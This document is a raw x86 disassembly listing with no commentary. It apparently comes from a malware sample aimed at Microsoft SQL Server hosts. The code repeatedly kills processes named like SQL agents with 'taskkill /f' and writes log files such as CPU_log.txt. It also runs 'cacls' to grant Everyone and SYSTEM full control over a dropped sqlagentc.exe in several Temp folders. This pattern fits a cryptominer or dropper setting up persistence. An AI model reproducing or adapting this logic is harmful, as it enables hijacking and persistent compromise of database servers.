add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b167
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b1cd
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b1e0
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b203
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b269
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b27c
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b29f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f098
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f098]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b336
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b349
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b36c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b3d2
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b3e5
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b408
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc_builtins64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b46e
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b481
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b4a4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b50a
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b51d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b540
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b5a6
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b5b9
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b5dc
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x52f094
call fcn.00411db3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x52f094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b673
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b686
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b6a9
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b70f
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b722
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b745
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b7ab
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b7be
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b7e1
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.sqlageatc.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b8c4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.sqlageatc.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b92a
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b93d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b960
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b9c6
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42b9d9
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b9fc
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ba62
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42ba75
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ba98
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, 0x4f3d60
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bb7b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f3d60
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bbe1
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42bbf4
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bc17
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bc7d
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42bc90
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bcb3
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bd19
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42bd2c
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bd4f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, 0x4f3d93
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42be32
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f3d93
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42be98
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42beab
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bece
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bf34
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42bf47
push str.80005
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42d934
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x440830
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 1
push 1
push 1
push 0xf
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.SQLAGENTC.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ce9c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.SQLAGENTC.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42cf02
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42cf15
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42cf38
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42cf9e
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42cfb1
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42cfd4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d03a
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42d04d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d070
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.SQLAGENTN.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d153
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.SQLAGENTN.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d1b9
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42d1cc
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
